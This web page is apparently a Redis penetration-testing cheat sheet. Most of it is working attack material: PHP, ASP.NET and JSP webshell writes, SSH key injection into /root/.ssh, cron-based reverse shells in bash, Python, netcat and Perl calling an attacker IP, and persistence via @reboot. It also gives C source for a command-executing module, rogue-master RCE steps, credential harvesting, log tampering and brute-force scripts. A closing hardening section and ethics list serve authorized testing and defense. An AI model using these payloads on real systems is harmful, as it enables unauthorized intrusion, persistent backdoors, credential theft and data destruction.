Redis
Table of Contents¶
- Overview
- Reconnaissance & Enumeration
- Connection Methods
- Authentication
- Information Gathering
- Webshell Upload
- SSH Key Injection
- Cron Job Injection
- Module Loading RCE
- Lua Sandbox Escape
- Data Exfiltration
- Post-Exploitation
- Brute Force Attacks
- Common Vulnerabilities
- Automated Tools
- Defense & Hardening
Overview¶
What is Redis?¶
Redis (Remote Dictionary Server) is an open-source, in-memory data structure store used as a database, cache, message broker, and streaming engine. It supports various data structures such as strings, hashes, lists, sets, and more.
Default Configuration Issues¶
- Default Port: 6379 (main), 6380 (Sentinel), 26379 (Cluster)
- HTTP Interface: Port 28017 (deprecated, older versions)
- No Authentication: Redis does not require authentication by default
- Bind to All Interfaces: Often misconfigured to listen on 0.0.0.0
- Plain-Text Protocol: Communication is unencrypted by default
Key Security Concerns¶
- Designed for trusted environments only
- No authentication in default configuration
- Powerful administrative commands (CONFIG, FLUSHALL, MODULE LOAD)
- Lua scripting capabilities can be exploited
- Master-slave replication can be abused
- File write capabilities through CONFIG SET
Reconnaissance & Enumeration¶
Port Scanning¶
# Basic scan for Redis ports
nmap -p 6379,6380,26379 <target>
# Service version detection
nmap -p 6379 -sV <target>
# Comprehensive scan with scripts
nmap -p 6379 -sV -sC <target>
nmap -p 6379 --script redis-info <target>
# All Redis NSE scripts
nmap -p 6379 --script "redis-*" <target>
# Specific scripts
nmap -p 6379 --script redis-brute <target>
nmap -p 6379 --script redis-info <target>
# Scan network range
nmap -p 6379 --open <network_range> -oG redis_hosts.txt
masscan -p6379 <network_range> --rate=1000
Banner Grabbing¶
# Using netcat
nc -nv <target> 6379
# Send PING command
echo -e "PING\r\n" | nc -nv <target> 6379
# Using telnet
telnet <target> 6379
# Using curl with gopher protocol
curl gopher://<target>:6379/_PING
curl gopher://<target>:6379/_INFO
Shodan Queries¶
# Find Redis instances
redis port:6379
# Find unprotected Redis
redis port:6379 "redis_version"
# Find Redis without authentication
port:6379 "redis_version" -authentication
# Find specific versions
redis port:6379 version:"5.0"
Connection Methods¶
Using redis-cli¶
# Basic connection (no authentication)
redis-cli -h <host>
redis-cli -h <host> -p 6379
# With password (legacy method - pre Redis 6)
redis-cli -h <host> -a <password>
# With username and password (Redis 6+)
redis-cli -h <host> -p 6379 --user <username> --pass <password>
# Using AUTH after connection (safer)
redis-cli -h <host>
> AUTH <password>
> AUTH <username> <password> # Redis 6+
# Execute single command
redis-cli -h <host> INFO
redis-cli -h <host> CONFIG GET *
# Connect via Unix socket
redis-cli -s /var/run/redis/redis.sock
# TLS/SSL connection
redis-cli -h <host> -p 6379 --tls \
--cert ./redis.crt \
--key ./redis.key \
--cacert ./ca.crt
Using nc/telnet¶
# Connect with netcat
nc <host> 6379
PING
INFO
CONFIG GET *
# Using telnet
telnet <host> 6379
PING
+PONG
Using Python¶
import redis
# Basic connection
r = redis.Redis(host='<host>', port=6379, decode_responses=True)
# With password
r = redis.Redis(host='<host>', port=6379, password='<password>')
# With username and password (Redis 6+)
r = redis.Redis(host='<host>', port=6379, username='<username>', password='<password>')
# Test connection
print(r.ping())
print(r.info())
# Get all keys
for key in r.scan_iter():
print(key)
Using Metasploit¶
# Redis login scanner
use auxiliary/scanner/redis/redis_login
set RHOSTS <target>
set RPORT 6379
set PASSWORD <password>
run
# Redis enumeration
use auxiliary/scanner/redis/redis_server
set RHOSTS <target>
run
Authentication¶
Testing for No Authentication¶
# Try connecting without password
redis-cli -h <target>
# If successful, try basic commands
> PING
+PONG
> INFO
# If you get info, no auth is required
# Check if auth is needed
> CONFIG GET *
# If error "NOAUTH Authentication required" then auth is needed
Common Default/Weak Passwords¶
AUTH Command¶
# Legacy authentication (pre Redis 6)
AUTH <password>
# Redis 6+ with ACL
AUTH <username> <password>
AUTH default <password>
Checking Authentication Requirements¶
# After connecting
redis-cli -h <target>
> INFO
# If you get: (error) NOAUTH Authentication required
# Then authentication is enabled
# Check requirepass setting
> CONFIG GET requirepass
Information Gathering¶
Server Information¶
# Get comprehensive server info
INFO
# Specific sections
INFO server
INFO clients
INFO memory
INFO persistence
INFO stats
INFO replication
INFO cpu
INFO keyspace
INFO cluster
# Get Redis version
INFO server | grep redis_version
Configuration Enumeration¶
# Get all configuration
CONFIG GET *
# Specific configuration values
CONFIG GET dir
CONFIG GET dbfilename
CONFIG GET requirepass
CONFIG GET bind
CONFIG GET protected-mode
CONFIG GET port
CONFIG GET logfile
CONFIG GET pidfile
# Check if commands are renamed
CONFIG GET rename-command
Database Enumeration¶
# List all databases (default is 16: 0-15)
INFO keyspace
# Select database
SELECT 0
SELECT 1
# Count keys in current database
DBSIZE
# Get all keys (dangerous on large databases!)
KEYS *
# Safer alternative - scan with cursor
SCAN 0 COUNT 100
# Get sample keys
RANDOMKEY
# Check key type
TYPE <key>
# Get key value based on type
GET <key> # For string
HGETALL <key> # For hash
LRANGE <key> 0 -1 # For list
SMEMBERS <key> # For set
ZRANGE <key> 0 -1 # For sorted set
Client Information¶
# List connected clients
CLIENT LIST
# Get current connection name
CLIENT GETNAME
# Get client ID
CLIENT ID
Replication Information¶
# Check replication status
INFO replication
# Check if instance is master or slave
ROLE
# List connected slaves (if master)
INFO replication | grep connected_slaves
Monitoring¶
Webshell Upload¶
PHP Webshell via Web Root¶
# Method 1: Direct write
redis-cli -h <target>
> CONFIG SET dir /var/www/html
OK
> CONFIG SET dbfilename shell.php
OK
> SET webshell "<?php system($_GET['cmd']); ?>"
OK
> SAVE
OK
# Now access: http://<target>/shell.php?cmd=whoami
Alternative Webshells¶
# More advanced PHP shell
> FLUSHALL
> SET shell '<?php @eval($_POST["cmd"]); ?>'
> CONFIG SET dir /var/www/html
> CONFIG SET dbfilename shell.php
> SAVE
# ASP.NET shell (for Windows/IIS)
> SET shell '<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><%Process.Start("cmd.exe","/c " + Request["cmd"]);%>'
> CONFIG SET dir C:\\inetpub\\wwwroot
> CONFIG SET dbfilename shell.aspx
> SAVE
# JSP shell
> SET shell '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>'
> CONFIG SET dir /var/lib/tomcat/webapps/ROOT
> CONFIG SET dbfilename shell.jsp
> SAVE
Common Web Root Paths¶
# Linux
/var/www/html
/var/www/html/uploads
/usr/share/nginx/html
/opt/lampp/htdocs
/var/www/
# Windows
C:\inetpub\wwwroot
C:\xampp\htdocs
C:\wamp\www
Automating Webshell Upload¶
#!/bin/bash
redis-cli -h $1 flushall
redis-cli -h $1 set shell '<?php system($_GET["cmd"]); ?>'
redis-cli -h $1 config set dbfilename shell.php
redis-cli -h $1 config set dir /var/www/html
redis-cli -h $1 save
echo "[+] Shell uploaded to http://$1/shell.php?cmd=id"
SSH Key Injection¶
Generating and Injecting SSH Key¶
# Step 1: Generate SSH key pair
ssh-keygen -t rsa -f redis_key -N ""
# Step 2: Prepare key with newlines
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > key.txt
# Step 3: Clear database and inject key
redis-cli -h <target> FLUSHALL
cat key.txt | redis-cli -h <target> -x SET ssh_key
# Step 4: Configure save location
redis-cli -h <target> CONFIG SET dir /root/.ssh
redis-cli -h <target> CONFIG SET dbfilename authorized_keys
# Step 5: Save to disk
redis-cli -h <target> SAVE
# Step 6: Connect via SSH
ssh -i redis_key root@<target>
Alternative SSH Key Paths¶
# Root user
/root/.ssh/authorized_keys
# Redis user
/var/lib/redis/.ssh/authorized_keys
/home/redis/.ssh/authorized_keys
# Ubuntu user
/home/ubuntu/.ssh/authorized_keys
# Specific users
/home/<username>/.ssh/authorized_keys
Finding Valid SSH Directories¶
# Method 1: Brute force common paths
for dir in /root/.ssh /home/redis/.ssh /var/lib/redis/.ssh /home/ubuntu/.ssh; do
redis-cli -h <target> config set dir $dir 2>&1 | grep -q OK && echo "[+] Valid: $dir"
done
# Method 2: Using Lua to enumerate (if enabled)
redis-cli -h <target> EVAL "return dofile('/etc/passwd')" 0
One-Liner SSH Key Injection¶
# Generate key and inject in one go
ssh-keygen -t rsa -f /tmp/redis -N "" && \
(echo -e "\n\n"; cat /tmp/redis.pub; echo -e "\n\n") | \
redis-cli -h <target> -x set crack && \
redis-cli -h <target> config set dir /root/.ssh && \
redis-cli -h <target> config set dbfilename authorized_keys && \
redis-cli -h <target> save && \
ssh -i /tmp/redis root@<target>
Cron Job Injection¶
Creating Reverse Shell via Cron¶
# Step 1: Clear database
redis-cli -h <target> FLUSHALL
# Step 2: Create cron job payload
redis-cli -h <target> SET cron "\n\n*/1 * * * * bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1\n\n"
# Step 3: Set cron directory
redis-cli -h <target> CONFIG SET dir /var/spool/cron/crontabs
# Step 4: Set filename as root
redis-cli -h <target> CONFIG SET dbfilename root
# Step 5: Save to disk
redis-cli -h <target> SAVE
# Step 6: Listen on attacker machine
nc -lvnp 4444
Alternative Cron Paths¶
# Common cron paths
/var/spool/cron/root
/var/spool/cron/crontabs/root
/var/spool/cron/crontabs/<username>
/etc/cron.d/redis_backdoor
/etc/crontab
# For specific users
/var/spool/cron/<username>
/var/spool/cron/crontabs/<username>
Different Reverse Shell Payloads¶
# Bash reverse shell
"\n\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/<ip>/4444 0>&1'\n\n"
# Python reverse shell
"\n\n*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<ip>\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'\n\n"
# Netcat reverse shell
"\n\n*/1 * * * * nc <ip> 4444 -e /bin/bash\n\n"
# Netcat with mkfifo
"\n\n*/1 * * * * rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> 4444 >/tmp/f\n\n"
# Perl reverse shell
"\n\n*/1 * * * * perl -e 'use Socket;$i=\"<ip>\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'\n\n"
Complete Cron Injection Script¶
#!/bin/bash
TARGET=$1
ATTACKER_IP=$2
ATTACKER_PORT=$3
echo "[*] Injecting cron job into $TARGET"
redis-cli -h $TARGET flushall
redis-cli -h $TARGET set cron "\n\n*/1 * * * * bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1\n\n"
redis-cli -h $TARGET config set dir /var/spool/cron/crontabs
redis-cli -h $TARGET config set dbfilename root
redis-cli -h $TARGET save
echo "[+] Cron job injected"
echo "[*] Starting listener on $ATTACKER_PORT"
nc -lvnp $ATTACKER_PORT
Module Loading RCE¶
Understanding Redis Modules¶
Redis 4.x and 5.x support loading external modules (.so files) which can execute arbitrary code. This is the most powerful exploitation method for modern Redis instances.
Master-Slave Replication Attack¶
This technique abuses Redis master-slave replication to load malicious modules.
Method 1: Using redis-rce.py¶
# Clone the tool
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce
# Compile the malicious module
cd RedisModulesSDK
make
cd ..
# Run the exploit
python3 redis-rce.py -r <target_ip> -p 6379 \
-L <attacker_ip> -P 21000 \
-f RedisModulesSDK/exp.so \
-a <password> # if needed
# Interactive shell
python3 redis-rce.py -r <target_ip> -L <attacker_ip> -f exp.so -c "whoami"
Method 2: Using Metasploit¶
use exploit/linux/redis/redis_replication_cmd_exec
set RHOSTS <target>
set RPORT 6379
set LHOST <attacker_ip>
set SRVHOST <attacker_ip>
set PAYLOAD linux/x64/meterpreter/reverse_tcp
exploit
Method 3: Manual Module Loading¶
# Step 1: Setup rogue Redis master
# On attacker machine, create malicious module
# Compile exp.so (code available in various GitHub repos)
# Step 2: On target Redis
redis-cli -h <target>
# Step 3: Make target a slave of attacker
> SLAVEOF <attacker_ip> 8989
OK
# Step 4: Set directory and filename
> CONFIG SET dir /tmp
OK
> CONFIG SET dbfilename exp.so
OK
# Step 5: After fullresync completes, load module
> MODULE LOAD /tmp/exp.so
OK
# Step 6: Execute commands
> system.exec "whoami"
> system.exec "id"
> system.exec "bash -c 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'"
# Step 7: Cleanup
> SLAVEOF NO ONE
> MODULE UNLOAD system
Creating Malicious Redis Module¶
// module.c
#include "redismodule.h"
#include <stdlib.h>
int ExecCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (argc != 2) {
return RedisModule_WrongArity(ctx);
}
size_t cmd_len;
const char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);
FILE *fp = popen(cmd, "r");
if (fp == NULL) {
return RedisModule_ReplyWithError(ctx, "ERR command execution failed");
}
char buffer[4096];
size_t bytes_read = fread(buffer, 1, sizeof(buffer) - 1, fp);
buffer[bytes_read] = '\0';
pclose(fp);
RedisModule_ReplyWithStringBuffer(ctx, buffer, bytes_read);
return REDISMODULE_OK;
}
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (RedisModule_Init(ctx, "system", 1, REDISMODULE_APIVER_1) == REDISMODULE_ERR) {
return REDISMODULE_ERR;
}
if (RedisModule_CreateCommand(ctx, "system.exec", ExecCommand,
"readonly", 1, 1, 1) == REDISMODULE_ERR) {
return REDISMODULE_ERR;
}
return REDISMODULE_OK;
}
Compilation¶
# Makefile for Redis module
gcc -fPIC -shared -o exp.so module.c -I/path/to/redis/src
# Or using Redis Modules SDK
cd RedisModulesSDK
make
Lua Sandbox Escape¶
Checking Lua Availability¶
# Check if JavaScript/Lua is enabled
redis-cli -h <target> CONFIG GET *script*
# Try EVAL command
redis-cli -h <target> EVAL "return 'test'" 0
File Enumeration via dofile()¶
# Works on older Redis versions (<= 2.6.14)
# Test for directory existence
EVAL "dofile('/var/')" 0
# Returns: (error) ERR Error running script... Is a directory
# Test for file existence
EVAL "dofile('/etc/passwd')" 0
# Returns: (error) ERR Error running script... No such file or directory
# Read file contents (syntax error reveals content)
EVAL "dofile('/etc/redis/redis.conf')" 0
Command Execution via Lua¶
# Basic command execution
EVAL "return os.execute('whoami')" 0
# Read command output
EVAL "return io.popen('id'):read('*a')" 0
# Reverse shell
EVAL "return os.execute('bash -c \"bash -i >& /dev/tcp/<ip>/4444 0>&1\"')" 0
# Alternative with redis.call
EVAL "redis.call('SET','shell','test'); return os.execute('id')" 0
Lua Sandbox Escape (CVE-2022-0543 and related)¶
# For Redis versions with vulnerable Lua
# Trigger garbage collection UAF
redis-cli -h <target> EVAL "
local a = string.rep('asdf', 65536);
collectgarbage('collect');
local src = string.rep('x', 1024 * 1024);
local f = loadstring(src);
return 'done'" 0
# This can lead to DoS or potentially RCE
Exploring Lua Environment¶
# List available Lua functions
EVAL "for k,v in pairs(_G) do print(k,v) end" 0
# Check Lua version
EVAL "return _VERSION" 0
# List loaded modules
EVAL "for k,v in pairs(package.loaded) do print(k) end" 0
Data Exfiltration¶
Dumping All Databases¶
# Using redis-dump (if installed)
redis-dump -h <target> -p 6379 > dump.json
# Manual dump of all keys
redis-cli -h <target> --scan > all_keys.txt
# Dump with values
redis-cli -h <target> --scan | while read key; do
echo "KEY: $key"
redis-cli -h <target> DUMP "$key"
done
Exporting Specific Data¶
# Get all keys matching pattern
redis-cli -h <target> KEYS "user:*"
redis-cli -h <target> KEYS "*password*"
redis-cli -h <target> KEYS "*admin*"
redis-cli -h <target> KEYS "*token*"
# Export specific key
redis-cli -h <target> GET user:1001
# Export hash
redis-cli -h <target> HGETALL user:admin
# Export list
redis-cli -h <target> LRANGE sessions 0 -1
# Export set
redis-cli -h <target> SMEMBERS admin_users
# Export sorted set
redis-cli -h <target> ZRANGE leaderboard 0 -1 WITHSCORES
Bulk Data Export Script¶
#!/usr/bin/env python3
import redis
import json
r = redis.Redis(host='<target>', port=6379, decode_responses=True)
data = {}
for key in r.scan_iter():
key_type = r.type(key)
if key_type == 'string':
data[key] = r.get(key)
elif key_type == 'hash':
data[key] = r.hgetall(key)
elif key_type == 'list':
data[key] = r.lrange(key, 0, -1)
elif key_type == 'set':
data[key] = list(r.smembers(key))
elif key_type == 'zset':
data[key] = r.zrange(key, 0, -1, withscores=True)
with open('redis_dump.json', 'w') as f:
json.dump(data, f, indent=2)
print(f"[+] Exported {len(data)} keys")
Searching for Sensitive Data¶
# Search for patterns
redis-cli -h <target> KEYS "*password*"
redis-cli -h <target> KEYS "*secret*"
redis-cli -h <target> KEYS "*token*"
redis-cli -h <target> KEYS "*api*key*"
redis-cli -h <target> KEYS "*session*"
redis-cli -h <target> KEYS "*auth*"
redis-cli -h <target> KEYS "*credit*card*"
# Sample random keys
for i in {1..10}; do
redis-cli -h <target> RANDOMKEY
done
Post-Exploitation¶
Persistence¶
# Method 1: Create backdoor cron job
redis-cli -h <target> SET cron "\n\n@reboot bash -i >& /dev/tcp/<ip>/4444 0>&1\n\n"
redis-cli -h <target> CONFIG SET dir /var/spool/cron/crontabs
redis-cli -h <target> CONFIG SET dbfilename root
redis-cli -h <target> SAVE
# Method 2: Modify startup scripts
redis-cli -h <target> SET init "bash -i >& /dev/tcp/<ip>/4444 0>&1"
redis-cli -h <target> CONFIG SET dir /etc/init.d/
redis-cli -h <target> CONFIG SET dbfilename redis_backup
redis-cli -h <target> SAVE
# Method 3: SSH key persistence
# Inject SSH key as shown in SSH Key Injection section
Credential Harvesting¶
# Check for passwords in config
redis-cli -h <target> CONFIG GET requirepass
redis-cli -h <target> CONFIG GET masterauth
# Search for credentials in data
redis-cli -h <target> KEYS "*password*"
redis-cli -h <target> KEYS "*passwd*"
redis-cli -h <target> KEYS "*credentials*"
redis-cli -h <target> KEYS "*auth*"
redis-cli -h <target> KEYS "*secret*"
# Dump session tokens
redis-cli -h <target> KEYS "session:*"
redis-cli -h <target> KEYS "sess:*"
Lateral Movement¶
# Check for replication configuration
redis-cli -h <target> INFO replication
# If master, enumerate slaves
redis-cli -h <target> INFO replication | grep slave
# Connect to other Redis instances
# Check CONFIG for other Redis servers
redis-cli -h <target> CONFIG GET *
Data Manipulation¶
# Modify existing data
redis-cli -h <target> SET user:admin:role "superadmin"
redis-cli -h <target> HSET user:1001 balance 999999
redis-cli -h <target> SADD admin_users "attacker"
# Delete data
redis-cli -h <target> DEL sensitive_key
redis-cli -h <target> FLUSHDB # Clear current database
redis-cli -h <target> FLUSHALL # Clear all databases
# Rename keys
redis-cli -h <target> RENAME old_key new_key
Log Manipulation¶
# Check log location
redis-cli -h <target> CONFIG GET logfile
# Disable logging
redis-cli -h <target> CONFIG SET logfile /dev/null
# Check slowlog
redis-cli -h <target> SLOWLOG GET 10
redis-cli -h <target> SLOWLOG RESET
Brute Force Attacks¶
Using Hydra¶
# Basic brute force
hydra -P /usr/share/wordlists/rockyou.txt redis://<target>
# With specific port
hydra -s 6379 -P passwords.txt redis://<target>
# Redis 6+ with username
hydra -l admin -P passwords.txt redis://<target>
# Faster with threads
hydra -P passwords.txt -t 4 redis://<target>
Using Nmap¶
# Redis brute force script
nmap -p 6379 --script redis-brute \
--script-args passdb=passwords.txt <target>
# Custom password list
nmap -p 6379 --script redis-brute \
--script-args redis-brute.timeout=5s,passdb=/path/to/passwords.txt <target>
Using Metasploit¶
use auxiliary/scanner/redis/redis_login
set RHOSTS <target>
set RPORT 6379
set PASS_FILE /usr/share/wordlists/rockyou.txt
set STOP_ON_SUCCESS true
set THREADS 5
run
Custom Brute Force Script¶
#!/bin/bash
# redis_brute.sh
TARGET=$1
PASSFILE=$2
while IFS= read -r pass; do
result=$(redis-cli -h $TARGET -a "$pass" PING 2>&1)
if [[ $result == "PONG" ]]; then
echo "[+] Password found: $pass"
exit 0
fi
done < "$PASSFILE"
echo "[-] Password not found"
Python Brute Force¶
#!/usr/bin/env python3
import redis
import sys
def brute_force(host, port, passfile):
with open(passfile, 'r') as f:
for password in f:
password = password.strip()
try:
r = redis.Redis(host=host, port=port, password=password,
socket_connect_timeout=2)
r.ping()
print(f"[+] Password found: {password}")
return password
except redis.AuthenticationError:
continue
except Exception as e:
print(f"[-] Error: {e}")
continue
print("[-] Password not found")
return None
if __name__ == "__main__":
if len(sys.argv) != 4:
print(f"Usage: {sys.argv[0]} <host> <port> <passfile>")
sys.exit(1)
brute_force(sys.argv[1], int(sys.argv[2]), sys.argv[3])
Common Vulnerabilities¶
CVE-2022-0543 - Lua Sandbox Escape¶
# Debian-specific vulnerability
# Affects Debian packages of Redis (Lua library issue)
redis-cli -h <target> EVAL "
local a = string.rep('asdf', 65536);
collectgarbage('collect');
local src = string.rep('x', 1024 * 1024);
local f = loadstring(src);
return 'done'" 0
Unauthenticated Access (Misconfiguration)¶
# Most common vulnerability
# Check for no auth required
redis-cli -h <target> INFO
redis-cli -h <target> CONFIG GET *
# If successful without AUTH, instance is vulnerable
CONFIG Command Abuse¶
# Check if CONFIG is available
redis-cli -h <target> CONFIG GET *
# Abuse scenarios:
# 1. Write webshells
# 2. Inject SSH keys
# 3. Inject cron jobs
# 4. Load malicious modules
# 5. Change configuration
SLAVEOF Command Abuse¶
# Make target a slave of attacker
redis-cli -h <target> SLAVEOF <attacker_ip> 6379
# This allows:
# - Data exfiltration
# - Module loading
# - Configuration changes
Protected Mode Bypass¶
# Protected mode prevents external connections without password
# Only applies when:
# 1. No bind directive or bind 0.0.0.0
# 2. No requirepass set
# Check if protected mode is enabled
redis-cli -h <target> CONFIG GET protected-mode
# If "no", instance is vulnerable from external networks
Automated Tools¶
redis-rce (Module Loading)¶
# Clone repository
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce
# Compile module
cd RedisModulesSDK && make && cd ..
# Run exploit
python3 redis-rce.py -r <target> -L <attacker_ip> -f exp.so
# With password
python3 redis-rce.py -r <target> -L <attacker_ip> -f exp.so -a <password>
# Execute command
python3 redis-rce.py -r <target> -L <attacker_ip> -f exp.so -c "whoami"
redis-rogue-server¶
# Clone repository
git clone https://github.com/n0b0dyCN/redis-rogue-server.git
cd redis-rogue-server
# Install dependencies
pip3 install redis
# Run attack
python3 redis-rogue-server.py --rhost <target> --lhost <attacker_ip>
# Interactive mode
python3 redis-rogue-server.py --rhost <target> --lhost <attacker_ip> -v
Redis-Server-Exploit¶
# Clone repository
git clone https://github.com/Avinash-acid/Redis-Server-Exploit.git
cd Redis-Server-Exploit
# Run exploit
python3 redis.py <target> <attacker_ip>
Metasploit Modules¶
# Scanner modules
use auxiliary/scanner/redis/redis_server
use auxiliary/scanner/redis/redis_login
# Exploit modules
use exploit/linux/redis/redis_replication_cmd_exec
use exploit/linux/redis/redis_unauth_exec
# File upload modules
use auxiliary/fileformat/badpdf
Nmap Scripts¶
# All Redis scripts
ls /usr/share/nmap/scripts | grep redis
# redis-brute.nse
# redis-info.nse
# Usage
nmap -p 6379 --script redis-info <target>
nmap -p 6379 --script redis-brute <target>
Custom Python Scanner¶
#!/usr/bin/env python3
import redis
import sys
def scan_redis(host, port=6379):
try:
# Try unauthenticated connection
r = redis.Redis(host=host, port=port, socket_connect_timeout=5)
# Test connection
info = r.info()
print(f"[+] Redis {info['redis_version']} found on {host}:{port}")
print(f"[+] No authentication required!")
# Get basic info
print(f"[*] OS: {info['os']}")
print(f"[*] Role: {info['role']}")
print(f"[*] Used memory: {info['used_memory_human']}")
# Get configuration
config = r.config_get()
print(f"[*] Data directory: {config.get('dir', 'N/A')}")
print(f"[*] DB filename: {config.get('dbfilename', 'N/A')}")
# Count keys
dbsize = r.dbsize()
print(f"[*] Total keys: {dbsize}")
# Check for sensitive data
print("\n[*] Searching for sensitive keys:")
for pattern in ['*password*', '*secret*', '*token*', '*api*key*']:
keys = list(r.scan_iter(match=pattern, count=10))
if keys:
print(f" {pattern}: {len(keys)} keys found")
for key in keys[:5]:
print(f" - {key}")
return True
except redis.AuthenticationError:
print(f"[-] Authentication required on {host}:{port}")
return False
except Exception as e:
print(f"[-] Connection failed: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <host> [port]")
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 6379
scan_redis(host, port)
Defense & Hardening¶
Enable Authentication¶
Redis < 6.0 (requirepass)¶
# Edit redis.conf
requirepass YourStrongPasswordHere
# Restart Redis
systemctl restart redis
# Or via CONFIG (temporary until restart)
CONFIG SET requirepass "YourStrongPasswordHere"
Redis 6+ (ACL)¶
# Create users with specific permissions
ACL SETUSER admin on >admin_password ~* +@all
ACL SETUSER readonly on >readonly_password ~* +@read -@write -@dangerous
ACL SETUSER webapp on >webapp_password ~app:* +@read +@write -@dangerous
# List users
ACL LIST
# Save ACL configuration
ACL SAVE
# Generate strong password
ACL GENPASS 256 # Generates 256-bit password
Network Security¶
# Bind to specific interface only (not 0.0.0.0)
# In redis.conf:
bind 127.0.0.1
bind 127.0.0.1 192.168.1.100 # Multiple interfaces
# Enable protected mode
protected-mode yes
# Change default port
port 16379 # Use non-standard port
TLS/SSL Encryption¶
# Redis 6+ supports native TLS
# In redis.conf:
tls-port 6380
port 0 # Disable non-TLS
tls-cert-file /path/to/redis.crt
tls-key-file /path/to/redis.key
tls-ca-cert-file /path/to/ca.crt
# Require client certificates
tls-auth-clients yes
Disable Dangerous Commands¶
# Rename dangerous commands
# In redis.conf:
rename-command FLUSHDB ""
rename-command FLUSHALL ""
rename-command CONFIG "CONFIG_82ba9e1c3"
rename-command EVAL ""
rename-command MODULE ""
rename-command SCRIPT ""
# Or disable completely
rename-command FLUSHDB ""
rename-command FLUSHALL ""
rename-command KEYS ""
rename-command SHUTDOWN ""
rename-command DEBUG ""
File System Permissions¶
# Set proper permissions
chmod 640 /etc/redis/redis.conf
chown redis:redis /etc/redis/redis.conf
# Restrict data directory
chmod 750 /var/lib/redis
chown redis:redis /var/lib/redis
# Restrict log file
chmod 640 /var/log/redis/redis.log
chown redis:redis /var/log/redis/redis.log
Firewall Configuration¶
# UFW (Ubuntu/Debian)
ufw allow from 192.168.1.0/24 to any port 6379
ufw deny 6379
# iptables
iptables -A INPUT -p tcp --dport 6379 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -j DROP
# firewalld (CentOS/RHEL)
firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.1.0/24" port port="6379" protocol="tcp" accept'
firewall-cmd --reload
Disable Lua Scripting¶
# In redis.conf (if not needed)
lua-time-limit 0 # Disable Lua scripts entirely
# Or via CONFIG
CONFIG SET lua-time-limit 0
Run as Non-Root User¶
# Create redis user
useradd -r -s /bin/false redis
# Change ownership
chown -R redis:redis /var/lib/redis
chown -R redis:redis /var/log/redis
# In redis.conf or systemd service
# User=redis
# Group=redis
Enable Logging and Monitoring¶
# In redis.conf
logfile /var/log/redis/redis.log
loglevel notice
# Enable slow query log
slowlog-log-slower-than 10000 # 10ms
slowlog-max-len 128
# Monitor with redis-cli
redis-cli MONITOR
# Check slow queries
redis-cli SLOWLOG GET 10
Regular Security Audits¶
# Check for unauthorized changes
CONFIG GET *
# Review ACL users
ACL LIST
# Check connected clients
CLIENT LIST
# Review persistence settings
CONFIG GET save
CONFIG GET dir
CONFIG GET dbfilename
# Check replication status
INFO replication
Hardening Checklist¶
☐ Authentication enabled (requirepass or ACL)
☐ Strong passwords (use ACL GENPASS)
☐ Bound to specific IP (not 0.0.0.0)
☐ Protected mode enabled
☐ Non-default port (optional)
☐ TLS/SSL enabled (for production)
☐ Dangerous commands renamed/disabled
☐ Proper file permissions (640 for config)
☐ Running as non-root user
☐ Firewall rules configured
☐ Logging enabled and monitored
☐ Regular backups
☐ Updated to latest stable version
☐ ACL with least privilege principle
☐ Lua scripting disabled (if not needed)
☐ Regular security audits
Quick Reference Commands¶
One-Liners¶
# Quick unauthenticated check
redis-cli -h <target> INFO 2>&1 | head -5
# Get all keys quickly
redis-cli -h <target> --scan
# Dump specific database
redis-cli -h <target> --rdb dump.rdb
# Execute command on all keys
redis-cli -h <target> --scan | xargs -L 1 redis-cli -h <target> GET
# Flush all data (destructive!)
redis-cli -h <target> FLUSHALL
# Monitor in real-time
redis-cli -h <target> MONITOR
Essential Commands¶
# Information
INFO
INFO server
CONFIG GET *
CLIENT LIST
# Authentication
AUTH <password>
AUTH <username> <password>
# Database operations
SELECT <db_number>
DBSIZE
KEYS *
SCAN 0 COUNT 100
# Data retrieval
GET <key>
HGETALL <key>
LRANGE <key> 0 -1
SMEMBERS <key>
# Configuration
CONFIG GET <parameter>
CONFIG SET <parameter> <value>
CONFIG REWRITE
# Persistence
SAVE
BGSAVE
LASTSAVE
# Replication
SLAVEOF <host> <port>
SLAVEOF NO ONE
INFO replication
# Module management
MODULE LIST
MODULE LOAD <path>
MODULE UNLOAD <name>
# Security
ACL LIST
ACL SETUSER
ACL DELUSER
ACL GENPASS
Resources & References¶
Official Documentation¶
Penetration Testing Resources¶
- HackTricks - Redis Pentesting
- PayloadsAllTheThings - Redis
- Redis Post-Exploitation (ZeroNights 2018)
Tools & Exploits¶
Security Articles¶
Notable Incidents¶
- Multiple cryptomining campaigns targeting exposed Redis instances
- h2Miner botnet exploitation (2019-2020)
- Kinsing malware using Redis for initial access
- Mass scanning of port 6379 by various threat actors
Best Practices for Pentesters¶
Legal & Ethical Considerations¶
- Always obtain written authorization before testing
- Stay within the defined scope of engagement
- Document all actions taken during testing
- Report vulnerabilities responsibly
- Do not cause denial of service or data loss
- Clean up artifacts after testing
Operational Security¶
- Use authorized networks and IP addresses
- Avoid noisy scanning when stealth is required
- Clean up uploaded files and backdoors
- Maintain confidentiality of discovered data
- Use secure channels for reporting
Testing Methodology¶
- Reconnaissance - Identify Redis instances and version
